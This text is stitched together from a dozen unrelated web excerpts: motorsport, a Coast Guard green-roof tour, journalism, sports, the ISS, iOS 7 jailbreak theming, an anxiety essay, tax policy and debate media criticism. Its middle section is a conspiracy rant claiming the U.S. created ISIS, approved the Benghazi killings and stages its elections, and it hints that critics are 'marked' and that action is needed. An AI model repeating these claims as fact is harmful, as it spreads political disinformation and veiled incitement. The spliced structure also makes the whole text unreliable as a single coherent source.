“We were priming the engine with our Peterson primer system, and the drill didn’t make three revolutions and we shot oil three feet out of the rocker adjuster. We decided we weren’t going to hook up the spring oilers on the dyno. We don’t think we’re going to need them at Bonneville either, but they are there and can be used if we start to see something abnormal,” Sanders says.
Keep in mind, though, that Bonneville racers can’t go wide-open on the throttle until after the first mile of the course.
“The salt is like driving on snow. It’s not as hard-packed as everyone thinks it is. I didn’t realize that until we went there this year,” he says.
The tour started with moving through multiple high-security checkpoints stacked with fully-armed guards. Once cleared, we looped up towards the upper terraces of the new 1.2-million-square-feet Coast Guard headquarters, designed by architects at Perkins + Will and landscape architects with Andropogon Associates, with HOK providing landscape architecture, interiors, and sustainability services as part of a design-build team. As Gabriel explained, new Environmental Protection Agency (EPA) rules meant that 95 percent of stormwater had to be captured on site. On top of that, historic preservation, sight, and security considerations meant that the new Coast Guard headquarters needed to be lower than the historic asylum buildings.
What that meant in reality — for such a large site on such a steep slope — was GSA needed to set the 9-story building deep in the hill and cover it in a set of stair-step green roof terraces that funnel water down to a constructed wetland and pond. GSA ended up creating the second largest green roof in the U.S. at 550,000 square feet, and the third largest in the world. It’s so big that a deer actually grazed on the roof, not realizing it was on one.
Thomas Amoroso, ASLA, the landscape architect who designed the project at Andropogon, explained that while the system may look complex, it’s actually pretty simple. “It’s low-tech and common sense. The green roof terraces are a gravity-based system that move water from the higher terraces to a lower ones and then into the pond.” That the system operates in such a seamless way — and also doubles as public space for the coast guard officers operating the facility — is a testament to the depth of the design.
As we make our way down through many floors to get to the 350,000-cubic-foot pond, we begin to see subtle differences in the plant life in the courtyards spread among the green roofs. Amoroso, and HOK landscape architect Brandon Hartz, ASLA, explained how they “replicated existing native eco-zones throughout the courtyards.” During the 120-foot-drop through the levels, water moves off the buildings, onto roofs and courtyards, through diverse regions, from the “Blue Ridge and rocky barrens of Piedmont to the coastal plains.”
All the courtyards that get ample light feature a mix of shrubs, grasses, and Oak community trees, a majority of which are native. “They are habitat for wildlife.” Indeed, Hartz told us how there are actually gravel pockets in the roof designed to enable nesting by Killdeer, a small bird. And a rare bald eagle and its family now live on the facility, too.
Once the water leaves these upper courtyards, it makes it way to the lowest courtyard — the vernal pool, where the wetlands cleanse it.
Then, stormwater is conveyed to the huge constructed pond, where it’s aerated, recycled, and used to water the green roofs and courtyards once again.
While we saw few people outside when we visited, Amoroso said many thousand Coast Guard officers are already hard at work there, with a few thousand more scheduled to move in. We saw a few officers pulling together cafe chairs and table together for an outdoor lunch. Hopefully, the Coast Guard will put some effort into organizing outdoor events, so they can better take advantage of their landscape.
At a time of tight budgets, collaboration has become increasingly common in the news business. This year’s Pulitzer Prize for investigative journalism was won by a combined team from The Tampa Bay Times and The Sarasota Herald-Tribune in Florida. Still, the San Francisco collaboration stands out for the number of organizations involved and, in the case of The Chronicle, the emphasis on proposing solutions.
Ms. Cooper said The Chronicle will run a week of coverage, including four articles that she described as something akin to a science project: putting forth a hypothesized solution and investigating it. The first proposal is that the city build a mental health center large enough to treat the mentally ill on the streets. The article will explore the cost and the feasibility of institutionalizing people.
“We need to be a hell of a lot more creative about how we solve this problem,” Ms. Cooper said. “And we are probably going to have to break some dishes to do it.” The paper’s articles and photographs will be offered free to all participants. The paper will also run a front-page editorial with its conclusions on what solutions should be pursued.
Advocacy is a longstanding taboo in American journalism, making reporters and editors wary of discussing solutions to the problems they highlight in their coverage. One rationale for this is that journalists who advocate causes might be selective in their reporting or biased in their coverage.
In a city known for its liberal traditions, the question of whether San Francisco’s journalists are crossing into activism has not come up, at least not in the initial meeting of news organizations last month.
The Serbia international, normally deployed at left-back, was handed a central starting role in the absence of usual centre-halves Vincent Kompany, Eliaquim Mangala and Nicolas Otamendi.
Guardiola said he was impressed by Kolarov’s pre-season performances in the role and believed he demonstrated a complete performance at the heart of City’s defence in Saturday’s 2-1 victory.
He said: “I think Kolarov today had one of the best performances I have seen in a central defender.
“He won all the long balls, he was quality with passes and he was strong. Kolarov not just today but in the last few games played really well [at centre-back]."
Despite heaping praise on Kolarov, the manager said he hopes the “important” Otamendi will return for City’s Champions League qualifying game at Steaua Bucharest on Tuesday.
Guardiola cited the Romanian side’s tendency to play long balls as the reason why he wants the Argentine stopper back for the pivotal tie.
“Hopefully he can play. Steaua Bucharest play with long balls and of course Nico is so important,” he stated.
The Obama Administration has been characterized by not only a lack of transparency on issues that surface, but a deliberate obfuscation to mask true actions and intentions. There are literally no limits to what the man and his handlers will do outside of the law to attain their ends, while simultaneously “crafting” legislation to enslave the citizenry. The fawning, lying press trumpets his victories and quietly spins his defeats: objectivity cannot be maintained by journalists on the government payroll and command.
Hence a sitting American president, a man who should have been hauled off of a stage in 2012 and clapped in irons for treason is able to do whatever he wants. Remember?
“Tell Vladimir I’ll have more leeway after the election.”
Now the Congress and the State Department labeled Iran both a “rogue state that supports terrorism” and “a supporter of Hezbollah and Al-Qaeda.” So my question is where did Obama secure the necessary Congressional approval to airlift $400 million to Iran on January 17, 2016? More: Since this was Obama’s move, did he not use his position unilaterally and without any Congressional approval to provide funding to a nation that supports (and conducts direct action missions to complement) terrorist activities? And this is with Iran, that vows to strike the U.S.?
Just as in the same vein, how can we join Russia in a bombing campaign of “boogeyman” ISIL/ISIS when we, the U.S., created it?
Just as in the same vein, how can we send a QRF (Quick Reaction Force) of our military’s finest commandos to stop the slaughter of an American ambassador and his staff in Libya…when we approved of and enabled it?
The “administration,” if you prefer that ludicrous term to the true state, the “regime,” is made of Teflon…nothing can touch it. Fast and Furious proved it. Hillary’s e-mails proved it. The cashiering of half of the admiralty and general staff of the United States Armed Forces proved it. The removal of TARS, of the scrambling of fighters, the scrapping of the A-10 Warthog, the cessation of Tomahawk production…all of these measures prove it. Obamacare steamrolling through the (at the time) Democrat-controlled Congress…enabled by Senator Olympia Snow (R, Maine) proved it. The hearings and the deciding vote.
Nothing can stop the administration. Nothing. And nothing will be able to stop the next one.
Does everyone really think that Trump will be elected? Really? Throughout the past two weeks, he has literally run on “self-destruct” and must have a lobotomized campaign manager. Haven’t we seen this before, when Romney won the first debate and made a fool out of Obama, and then turned into a neutered eunuch for the next debates?
Do not be fooled: it is all intentional.
There is no such thing as an election, only a controlled paradigm shift with a force-fed theatrical playbill that the dumbed-down public gobbles up. The two “camps” of Democrat and Republican, and the illusion of a colossal battle, a political “Clash of the Titans” between conservatism and socialism drawing the focus and attention of the people away from surrounding events nationally and in the world.
Look at Hanna, the alleged Republican…the first of the jackasses to come out and support Hillary Clinton. Look at the moneyed interests pooling behind her: Meg Whitman, Warren Buffet, and the invisible but ever-present incubus of George Soros, the man who destroys countries for a hobby and a price. Look at Hillary, the “good wife,” the “good mother,” the “good 501-C-3” member with a billion dollar “kitty” in the Clinton Foundation and three Delaware shell corporations to hide her loot. The “good speaker,” snagging $50 – 200 K dollars per speech.
The good fundraiser who raised $90 million dollars in the month of July alone.
By her campaign slogan… “I’m with Her” …by those very words are such notables as James Comey, Loretta Lynch, Houma Abedin, Debbie Wassermann-Schultz…all of them…complicit with her in the crimes she has committed. She would provoke a nuclear war with Russia in order to prevent those e-mails from coming to light.
Her “candidacy” is a degradation and an abasement, not only of the American Justice system, but of the entire Constitution of the United States and the freedom of every citizen. Those who are “with her” don’t even realize they’ll be the first ones in the gristmill when the time arrives. That time is almost here. It’s all been smoke and mirrors, but soon there won’t need to be. The obfuscations and treacherous maneuvers are masked but in a short time they’ll all be completely unveiled.
The 2nd Amendment will be completely destroyed and/or nullified. The face of this entire country is going to change, and akin to most bad things, it’ll have to happen before people realize it and take action.
Everybody who criticizes the incoming dictator is marked, make no mistake about it. We still have a little bit of time, but not much, and effects generated need to have substance, not form. No juvenile displays of occupying a shed/storage room/visitor center in a National Park or Forest. No standoffs with a disbandment and then everyone is arrested individually. The torch is being passed. Everyone who is criticizing Obama and warning about Clinton is a target and they are marked, along with countless others of the 325 million of us.
Pesquet and Novitskiy will still leave the ISS in June, but now without Whitson
Whitson launched to the ISS in November 2016 on a Russian Soyuz rocket, along with Russian cosmonaut Oleg Novitskiy and Thomas Pesquet of the European Space Agency. Their stay on the ISS, known as Expedition 51, was meant to last until June. That’s still true for Pesquet and Novitskiy, but Whitson will now come back sometime in September. Her trip back to Earth will be with NASA astronaut Jack Fischer and cosmonaut Fyodor Yurchikhin — two crew members who are slated to launch to the ISS later this month.
“I love being up here,” Whitson said in a statement. “Living and working aboard the space station is where I feel like I make the greatest contribution, so I am constantly trying to squeeze every drop out of my time here. Having three more months to squeeze is just what I would wish for.”
Zipped inside a cargo bag @Thom_astro & @astro_kimbrough took me over to the Russian segment. They were quite surprised when I popped out! pic.twitter.com/om59WVfzwE — Peggy Whitson (@AstroPeggy) February 13, 2017
The decision has to do with some recent changes that have been made to the station manifest in 2017. Last year, the Russian space agency, Roscosmos, said that it would be downsizing the number of cosmonauts continually living on the ISS from three to two. The move is meant to maximize efficiency and save money, until Roscosmos launches a long-delayed module to the ISS known as the Multipurpose Laboratory Module. Roscosmos plans to increase the cosmonaut crew back to three after the module’s launch sometime in late 2017 or early 2018, according to Sergei Krikalev, director of the agency’s human spaceflight program.
Whitson is no stranger to holding impressive records
Russia’s downsizing decision means that only two people — Fischer and Yurchikhin —will be launching on the next Soyuz launch this month, instead of the usual three. So they’ll have an extra seat to spare when they return home in September. Meanwhile, three of the current six crew members on the station are slated to leave next week. Whitson’s extension means that there will be a full six people onboard the ISS when her two fellow Expedition 51 crew mates leave and a new trio of astronauts arrives in July.
Visually speaking, things will never be the same for iOS users. This week's public launch of iOS 7 marks the most substantial shift in the look and feel of Apple's mobile operating system since it debuted in 2007. While the design overhaul will make for a palpably different experience for users of all stripes, it may be especially noticeable for jailbreakers.
One of the perks of jailbreaking one's iOS device has long been the ability to apply custom design themes via a platform called WinterBoard. In recent years, however, WinterBoard's ability to re–skin ever–evolving versions of iOS has slowly degraded. With iOS 7, the prospects look particularly dim, according to developers and designers in the jailbreaking community.
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So what's changed? The interface overhaul in iOS 7 certainly doesn't help, but the gradual erosion of WinterBoard's compatibility with iOS has been underway for a while now. Some of this degradation is the natural result of an evolving operating system, whereas some of it stems from lackluster communication among developers and designers.
So for the iOS 7 haters out there, what will it take before you can override the new bubblegum look?
WinterBoard And The Rise Of IOS Theme Designing
First a short history lesson: WinterBoard was created in 2008 by Jay Freeman, aka @saurik, the developer best known for building Cydia, the alternate app store available exclusively on jailbroken devices. Through WinterBoard, designers can create their own designs for most interface elements in iOS, including things like the default app icons or the appearance of the home screen dock, lock screen, various backgrounds and the phone dialer, to name a few. Any element that is represented by a graphic––right down to granular details like UI animations, the transparency of icons, and background gradients––can be modified by a theme designer in order to create what feels like a completely new interface.
Re–theming the iOS is, by any definition, a hack. And a tedious one, at that. All elements of the UI live together in a file with the extension .artwork, which needs to be unpacked to reveal a set of .png image files that can then be modified individually in an image editor like Photoshop. Extracting these images requires a specially programmed piece of software that operates beyond the purview of standard file–unzipping applications like WinZip or StuffIt on the Mac.
In a recent blog post, theme designer Sk37cH described the complexity of some of these images:
Now begins the laborious task of recreating all these images. Some are animations made up of 16–20 still images. Some images are stretched and some are tiled. The battery percent was controlled by images and is now dictated by the system font being used. Some images are clipped to "masks" and some are affected by the gyroscope.
After redesigning and then recompiling these images back into the iOS–friendly .artwork format, the theme designer is often left to tweak things on a pixel–by–pixel basis, with each change requiring the device to be rebooted again and again.
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As IOS Evolves, WinterBoard Gets New Roadblocks
For design–conscious users, the end result of all this hard work is a repository of alternative themes. These can be used to replace the graphical interface with which iOS ships, something Apple has never given users the option to change without jailbreaking. On iOS 4, WinterBoard was fully capable of replacing pretty much all of the visual elements found within the iOS interface. With the launch of iOS 5, some of WinterBoard's functionality broke, but the issues were minor and easily fixed, says Freeman. Then came iOS 6.
"As it stands, there are tons of things on iOS 6 that took WinterBoard a long time to support, and there are still tons of things that it doesn't support," says Freeman. "Clearly, that the situation will not change for iOS 7, is not really news to anyone. The only thing vaguely interesting is why, and it isn't because I don't care somehow: It's because I'm not a theme artist and I don't even know what these things are that it doesn't support."
To remedy this, Freeman says, theme designers should file bug reports consistently and in thorough detail so that when a new version of iOS affects WinterBoard's functionality, a fix can be more easily applied. To date, he says such reports have been infrequent and lacking in the type of specifics that a developer such as himself needs in order to properly fix bugs.
These bugs can result from things like changes in how Apple caches images on iOS, which was one factor that led to theming issues in iOS 6. Additionally, as Sk37cH pointed out, Apple has begun hosting some graphical elements remotely for its own apps, such as the App Store, making it more difficult for theme designers to replace them. Issues like this can usually be resolved, but doing so often requires the installation of an additional tweak from Cydia. In some cases, all that's required is for a bug report to be filed, but the communication between designers and developers––as is so often the case––can sometimes be murky.
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A lot has changed since WinterBoard launched. Not only have various design elements within iOS been restructured, but jailbreaking and the culture around it have evolved as well. For one thing, the practice itself is growing more popular. Each untethered jailbreak release is met with hordes of eager users, most of whom have put off installing Apple's latest iOS upgrade for months in anticipation of a jailbreak. When the evasi0n untethered jailbreak for iOS 6 finally went live last year (five months after the release of iOS 6 itself), the sudden influx of users rendered Cydia unusable for about 24 hours as Freeman scrambled to fix broken functionality. The lapse in Cydia's stability was a momentary one, but it illustrated the growing popularity of the alternative app store, which by then had been downloaded over 22.5 million times.
Onward To Jailbreaking IOS 7
Since its inception, iOS jailbreaking has become a pretty big deal, even if the numbers pale in comparison to the total size of Apple's mobile user base. For Freeman, maintaining Cydia and its many moving parts (not to mention being actively involved in the online community of jailbreak developers) has made for an increasingly full plate. To thrive, a secondary project like WinterBoard will require the diligent attention of the entire community behind it, designers and developers alike. With iOS 7, Apple may have spruced up the joint, but the ecosystem remains a closed one: Simple things like choosing a default web browser and tinkering with the way the software looks remain elusive for iOS users who don't crack the system open so it can run things like Cydia and WinterBoard. As pretty as iOS's facelift may be, the demand for jailbreaking isn't going away.
Of course, it will be some time before an untethered jailbreak is available for iOS 7. The operating system goes live on Wednesday and if history is any indication, the public may not see a jailbreak tool until early next year. Projects like OpenJailbreak aim to use a collaborative, open source approach to expedite the process of finding and executing exploits to make a jailbreak possible. But that open source framework is brand new and even divided among numerous developers, so the hard work of finding an exploit can be time–consuming.
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It remains to be seen precisely how iOS 7 will impact designers' ability to re–skin the interface painstakingly overhauled by Jony Ive and his team. One already–discovered change is that the design is no longer controlled via the traditional .artwork files and instead has switched to .car files. According to Sk37ch, the software many theme designers use to extract editable .png files from .artwork files won't be upgraded by its author to support the new format. Other solutions will undoubtedly be forged, but it's just one example of how OS upgrades can break old functionality and force theme designers to alter their already complex process. As Sk37ch writes, "So long as the community is there, I think the new obstacles can be overcome."
From Freeman's vantage point, WinterBoard's continued ability to properly support iOS depends on how well theme designers document the issues they experience as the operating system evolves. After all, WinterBoard is an open source project and patches can be applied easily, so long as the issues are clear to developers.
The league proposal, received Thursday night by the union, addressed the issues the NFLPA had with language on human growth hormone testing and neutral arbitration earlier this week. The union held a conference call Tuesday night, but didn't find the league's proposal at that time to be strong enough to put to a vote.
Per two union sources, the NFLPA will not put any proposal to a vote unless leadership is convinced it will pass convincingly, which is why Thursday's night optimism over a Friday vote is significant. By the letter of the law, a simple majority of the quorum of the 32 player reps would carry the policy through.
According to a high-ranking union source, a vote is expected, another sign that an agreement is coming.
The immediate fallout will likely come with the reinstatement of certain players who will benefit from retroactive assessment of penalties. While each case will be considered individually, those who failed tests during the 2014 league year (Wes Welker, Orlando Scandrick, Dion Jordan, Reshad Jones) who wouldn't have been suspended under the new policy would likely be reinstated immediately. Cases like that of Browns receiver Josh Gordon -- who failed his test during the 2013 league year -- are more complicated.
The sides cleared a major hurdle earlier in the week when the league dropped its request to have a mandatory one-game suspension for players upon DUI arrests, without due process. There is expected to be agreement on two-game suspensions for DUI convictions.
The threshold for positive marijuana tests is expected to go from 15 ng/ml to 35 ng/ml on the A sample, and offseason amphetamine-positive tests are slated to go from the performance enhancing drug policy to substances of abuse, which is where Welker and Scandrick will have their suspensions lifted.
Follow Ian Rapoport on Twitter @RapSheet.
Many people who flying believe, as this person seems to, that the only way to deal with anxiety is to replace uncertainty with certainty that what is feared can't happen. That is NOT the way the brain is supposed to work. If things were absolutely certain, we would have no need of high level thinking that assesses how safe our various options are.
To deal with fear maturely, the first step is to understand that there is no such thing as ABSOLUTE safety. If a person must have absolute safety—such as it can't happen—it becomes impossible to navigate through life. The person RETREATS from life, and becomes agoraphobic.
The problem is serious if progressive. To end feelings of anxiety, the person backs off just a bit, and then feels relieved. But the relief doesn't last. Anxiety returns. The person backs off just a bit once again. Again they feel relief. Again, it doesn't last. This continues until it is no longer possible to back off.
I know a woman who did exactly that. She stopped working and retreated to an apartment. She became fearful of fumes, so she sealed the floors and windows. Afraid of toxins in food, she restricted her to tofu. Then, to only one brand of tofu. Since she could not leave her apartment, my partner at the time (who was a therapist) brought the specified tofu to her. I told my partner she was enabling her . My partner objected that the fear was real, and if she didn't provide the tofu, her friend would eat nothing. In time, as she continued backing off (made possible by my partner's enabling), she became unable to eat at all. She was taken to a hospital and admitted to the clinic. After a few days, they transferred her to the unit—with her kicking and screaming that there was nothing wrong with her mind—as, after all, before she retreated, she was a therapist. But, the hospital persisted. They treated her need for absolute safety.
We can go in one direction or the other. One direction is to recognize that safety is relative, and that we need to use our thinking to assess how safe something is. We need to balance risk and safety to have a good life. The other direction is to back off when to temporarily relieve anxiety. If that backing off continues, we back off until life is severely limited.
I suppose most of us go back and forth between backing off and pushing forward. If so, I'd encourage you (a) to keep confronting the fact that safety is relative, (b) to accept the anxiety that causes, (c) allow the amygdala to get used to the experience, so that (d) that particular thing no longer triggers the release of that cause feelings of arousal that are automatically (mistakenly) thought of as anxiety. This keeps life from shrinking.
Anxiety expert David Barlow had some interesting things to say about this in a recent interview. He says clients must develop mindful awareness of their emotional experiences. That is 180 degrees out of phase with what people with anxiety do, which is, according to Barlow, "to repress and avoid their own emotion."
Second, he says a person must develop a less limited appraisal of the meaning of emotion. It is a huge mistake to automatically assume that feeling highly aroused equals fear. It doesn't.
Arousal—whatever the level—is just arousal. It has no meaning. Why? The part of the brain that causes arousal is unrelated to meaning because it can't think. An anxious person needs to learn that arousal has no meaning. It is rather the reaction of a very primitive part of the brain—a part that existed in reptiles that had no ability to think—to change or the unexpected.
Think of a sunflower. It has an ability to turn toward the sun. It would be giving a sunflower a lot of credit to say it does that based on meaning. If that isn't clear enough, what about a Venus Fly Trap plant? If an insect crawls on the plants leaves, it closes up, trapping the insect. I don't think that is based on meaningful thought. When a doctor taps your knee with his rubber hammer, your foot kicks forward. There is no meaning. That's just a reflex. When the amygdala releases stress hormones, there is no meaning. It is just a reflex. So if you give meaning to feelings of arousal caused by those stress hormones, you are giving credit to the amygdala for something it can't do: think.
But, what if the amygdala could think? Let's assume it does. If so, how smart is it anyway? It is only the size of a nut, an almond, for which it is named (amygdala is the Greek word for almond). So, don't insult your own by thinking that the tiny amygdala is so smart that you, with your huge cortex, need to think it knows more about risks, threats, or dangers than you do. It doesn't.
The next part of this flexibility issue is does fear equal danger? No. You can be totally safe and think you are in danger. You can be in great danger and have no fear. Why? Because you don't know about the danger. So, get it. Fear is fear. Danger is danger. If you can identify what the danger is, then—because of your identification of danger—there is meaning and thus fear is legit. If you can't identify a danger, then fear makes no sense. If you are just automatically thinking arousal means fear and fear means danger, that has to stop.
The next thing Barlow mentioned is avoidance. There are many ways people avoid intense emotion. He cites distraction, changing the subject, getting out of a situation that causes feelings. You might argue that avoidance and distraction make sense. Sure, if you don't mind your life contracting. Sure, if you don't know any better way to regulate arousal and emotion. But avoidance and distraction keep you from better ways to regulate. They keep your amygdala from getting used to intense feelings. Which brings us to Barlow's last point. He calls it "emotion exposure." We need to have emotional experiences in order to become used to them.
Enlarge this image Hanna Barczyk for NPR Hanna Barczyk for NPR
The new tax plan introduced by House Republicans could have negative implications for universities, graduate students and those with student loans.
Many grad students — especially in Ph.D. programs — receive tuition waivers in exchange for teaching classes or doing research. Under current law, that money isn't taxed as income. But the new bill calls for those tuition waivers to be counted as income and subjected to income taxes.
That means graduate students would be paying taxes on money they never receive.
Kelly Balmes is finishing up a master's degree — on her way to a Ph.D. — in atmosphere and sciences at the University of Washington in Seattle.
Balmes, 24, is from Chicago, so her out-of-state tuition is $30,000 a year. It's paid for through grants; money she never sees.
The university pays her a yearly stipend of about $30,000 in exchange for her work in research and as a teaching assistant. That's considered minimum wage in Seattle — about $15 an hour.
In 2016, she paid income taxes on her teaching stipend and ended up owing the government $2,334.
If the tax bill passes, the grant that covers tuition will be viewed as additional income. If the numbers remain the same, Balmes' total income before deductions becomes $61,398 — nearly double what she filed last year.
She would owe $7,488, about $5,000 more.
"This makes graduate school unattainable for anybody not already very well off," Balmes says. "It also creates a diversity problem, which graduate STEM programs already have."
What else will be affected if the bill is passed: Endowments: The bill would levy a tax of 1.4 percent on net investment income for well-endowed private colleges. After an outcry from some universities, the language was adjusted so the tax would apply only to well-endowed colleges with $250,000 or more in the bank per full-time student. Student loan interest, tuition reductions and education assistance: If you make less than $80,000 and are paying back your student loans, you will no longer be able to deduct up to $2,500. Also, employers who cover some of their employees' college costs would have that money taxed. College tax credit consolidation: Three tax credits — American opportunity tax credit, lifetime learning credit and Hope scholarship credit — would be consolidated into one credit. This would include a $2,000 credit for families spending money on college tuition, books and supplies. Coverdell Education Savings Accounts: The bill would phase out Coverdell Education Savings Accounts, which allow families to invest money for college without the funds being taxed. Tax bills for death and disability: The House plan would put an end to forgiving student debt because of death or disability.
Of the 145,000 students in graduate programs receiving these tuition waivers, about 60 percent are in STEM programs, according to the Department of Education.
If the House bill passes, Balmes might have to reconsider getting her Ph.D. and stop her education at a master's, she says. "It's upsetting because it wouldn't really be my decision."
She hopes that the Senate's tax plan will be passed instead because under that one there are no changes to tax credits or tuition waivers.
Colleges and universities have also raised concerns about the House bill.
Carnegie Mellon University, a private school in Pittsburgh known for programs in science and technology, is one of the many schools — including Boston University — speaking out.
CMU sent faculty an email saying it was monitoring how the bill would impact students and faculty.
"Any provision that would make higher education more costly for students, effectively reducing access, will harm American families and undermine the mission of higher education and CMU," wrote interim President Farnam Jahanian. "That includes proposals to tax graduate student stipends, eliminate tax deductions for student loans, or reduce incentives for employers to contribute to tuition."
He said there are long-term benefits to investing in graduate students.
The strategy is unprecedented for a general election candidate. But bombarded with bad news on all sides, Trump opts to hide out. “By cloistering himself on Fox News, he mostly avoids difficult questions about the daily controversies that plague his campaign,” noted CNN's Brian Stelter. (Trump’s last interview with either of Fox News’ main cable news rivals was August 25 on CNN; he hasn’t done a televised interview with any of the three broadcast networks since September 6.)
Trump also hasn’t held a press conference since July.
That means for Trump, the third and final presidential debate threatens rare exposure from his bubble strategy -- in fact, it could represent the last time this election cycle Trump will face unfriendly questions. Except there’s a hitch: Fox News’ Chris Wallace is moderating the debate. The same Chris Wallace who announced he won’t fact-check the candidates during the forum. It’s a hands-off approach that Trump and his allies heartily endorse.
In other words, we have a potential mess unfolding. At the time when voters ought to be able hear a journalist press Trump about the avalanche of allegations from women who claim he’s groped and assaulted them, and at a time when Trump refuses to answer questions from most reporters, the final debate, at a distance, risks becoming another friendly venue for Trump, given Wallace’s past comments.
“I do not believe it is my job to be a truth squad,” Wallace announced last month. “It's up to the other person to catch them on that."
That’s simply not acceptable in the age of Trump. According to the fact-checkers at PolitiFact, roughly 70 percent of Trump claims they assessed have been found to be “mostly false,” “false,” or “pants on fire” lies. (Just four percent of the Trump assertions analyzed by the site have been found “true.”)
And at the second debate, despite the best efforts by moderators Anderson Cooper and Martha Raddatz, Trump simply could not, or would not, stop lying. From NBC News:
Notably, it is only because of Cooper's dogged questioning over the video of Trump bragging about commiting sexual assault that he was put on record denying he had ever committed that crime. Women have cited that public denial in coming forward to tell their stories about Trump this week.
Against the background of Trump's rampant prevarications, Wallace is going to sit in the moderator’s chair and refuse to fact-check Trump. And Trump knows it. Talk about being unshackled.
It’s also problematic because immediately following the second debate, some media observers seemed to deduct points from Clinton for supposedly not delivering a sure and steady performance, without simultaneously acknowledging she was confronted with an unprecedented avalanche of lies. (Reminder: In the past, most presidential nominees tried to avoid telling blatant lies during nationally televised debates for fear of being fact-checked and having to explain the so-called 'gaffe' the next day. Trump doesn't seem bothered in the slightest and just keeps telling more.)
Meanwhile, as Media Matters has documented, there are lots of other reasons why Wallace is the wrong pick. He was recently deriding Clinton’s demeanor after the first debate as being excessive [emphasis added]:
WALLACE: She was enjoying herself. Bob, you say that you were on the road this week in North Carolina. You talked to a lot of people, and that kind of, I think it's fair to say, gloating didn't set too well? BOB WOODWARD: Yeah. She won the debate. I think there's universal agreement on that. I guess Trump would not agree. But she really did. But, you know, that clip shows this kind of self-congratulation, this self-satisfaction. And as we know and as we try to teach our children, when you win something, don't gloat. Humility works. And the problem for her is this feeds the notion that she's in this for herself. You see that. She was overjoyed with what she did. Fine, take a victory lap, but there is -- something like that doesn't get dialed back, and it probably should.
Talk about odd: The person who is going to moderate Wednesday’s debate went on national TV to criticize the winner of the previous debate for supposedly “gloating.”
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OXNARD, Calif. -- The Dallas Cowboys have place linebacker Rolando McClain and defensive end Randy Gregory on the reserve/did not report list as they open training camp.
The moves give the Cowboys two roster spots as they open practice on Saturday. Executive vice president Stephen Jones said the Cowboys would bring players in for workouts on Saturday to fill those spots and one would most likely be a linebacker.
Gregory is at a treatment facility and is not expected to join the team at training camp this summer. He is also facing a longer suspension for another violation of the substance-abuse policy, according to sources. He has already been suspended the first four games of the season.
McClain's status is up in the air. While the Cowboys knew Gregory would not report to camp, McClain was expected on the team's flight to California on Wednesday and wasn't.
McClain will be suspended the first 10 games of the season for violating the substance abuse policy. He skipped most of the offseason program and organized team activities and did not practice during the June minicamp.
Players on the reserve/did not report list are subject to daily fines, but Stephen Jones would not divulge whether the team would actually fine either player. According to the collective bargaining agreement players can be fined up to $30,000 per day.
"There's some details that go into their situations that we're not going to discuss," Stephen Jones said.
Jones would not discuss when the last time members of the organization spoke to McClain, but they have been in contact with the player's agent, Pat Dye.
The Cowboys prepared for the McClain's uncertain status by signing veteran linebacker Justin Durant two weeks ago. He is familiar with the Cowboys' scheme and he can play all three linebacker spots. Third-year linebacker Anthony Hitchens is expected to take over McClain's middle linebacker spot on the starting defense.
Owner and general manager Jerry Jones said the team was not caught by surprise by the suspension that occurred or what has happened lately with McClain.
What could those picks become? Would they really go with Lawson Crouse over other forwards that have scored at a high rate in their respective leagues? Could the Devils draft a defenseman with their first round pick like they did the last time they picked in the top-ten? (Aside: They moved ninth overall in 2013 for Cory Schneider; and people wanted Larsson at #4.) What can we expect from the second round picks? I'd caution worrying and lamenting over something that hasn't happened yet. But that's me.
In an attempt to condense some of the nonsense between now and June 26, the first day of the NHL Draft, let's look back at Devils draft history to see if there are any tendencies. For better or worse, David Conte has been the team's director of scouting since August 1993. (Aside: Check out the list of scouts, apparently Steve Kariya is a team scout. So is - sigh - David Conte's son.) Conte was with the team longer than that and has made his mark in previous drafts. But for the sake of consistency, let's look at the team's draft history in the first two rounds since 1994 - the first draft where Conte was the director. That's a lot to look at, and I used Elite Prospects for all data, so let's take it one round at a time.
The First Round
As Travis Yost explained earlier this year in this article at TSN, the first round is where teams have their best chance of finding a NHL player. Yes, plenty of great players have been picked after the first round and some not even at all. However, the first chance at picking of prime prospective players will yield future players more often than not.
Number of Picks Since 1994: 18 (Four were traded before/during draft, 1998 had two)
The Devils and their "win-now" ways throughout the past fifteen ways justified moving some of those first rounders. Those picks being moved were justifiable. The 2013 pick, which was ninth overall, yielded an awesome goaltender. The 2010 pick looks like the biggest price the Devils paid for Ilya Kovalchuk's services. The 2007 first rounder had to be sacrificed to move a terrible contract and get under the salary cap. The 2002 first was part of the deal that brought Alexander Mogilny to New Jersey. (Update: That's wrong, the 2002 first rounder was part of the deal that brought Jamie Langenbrunner and Joe Nieuwendyk to New Jersey. My bad. Thanks to acasser in the comments for pointing that out.) Justifiable as they may be, they eventually impacted the prospect situation the Devils are currently in. So did some of their actual picks.
Positional Breakdown: Eleven forwards (Most recent: John Quenneville, 30th overall in 2014); five defensemen (Adam Larsson, 4th overall in 2011); and two goalies (Ari Ahonen, 27th overall in 1999).
Defensemen haven't been common picks for the Devils in the first round. The last defenseman picked before Larsson was Matthew Corrente in 2006, which was thirtieth overall. Before that, David Hale in 2000 at twenty-second overall. Basically, forwards are the common pick. So it's not written in stone that the Devils prefer defensemen as high picks, Larsson aside. By the way, I'd like to think Conte & Co. have learned their lesson from Ahonen being a wasted pick in 1999.
First Rounders That Played At Least 200 NHL Games: Travis Zajac (Draft Year: 2004), Zach Parise (2003), David Hale (2000), Mike Van Ryn (1998), Scott Gomez (1998), Lance Ward (1996), Petr Sykora (1995)
I should note that Van Ryn and Ward should come with asterisks. Ward was so good as a prospect, he re-entered the draft in 1998 and was a third round pick for Florida. He just made the 200-game cut-off. Van Ryn found a loophole that now allows college players to move to play in major junior leagues. After a season in juniors, Van Ryn became a free agent and so St. Louis snatched him up. He also had a career for a couple of years.
Also note that the Devils haven't had a first rounder really "make it" since Zajac. I use 200 games as it takes at least three seasons for a player to reach that mark, usually more. To get that far means the player likely played beyond his entry level contract and someone thinks he's still good enough to play at this level. Yet, the Devils have had a run where they didn't find those players. It's one thing to have a miss after a few hits; as stupid as the Adrian Foster pick was in 2001, it didn't undercut the system. Three straight busts? That's going to hurt. Niclas Bergfors at least helped the Devils get Kovalchuk but he didn't stick around. Corrente and Mattias Tedenby were busts. And around that time period, there were years where the Devils didn't have a first rounder, which only compounded the pain.
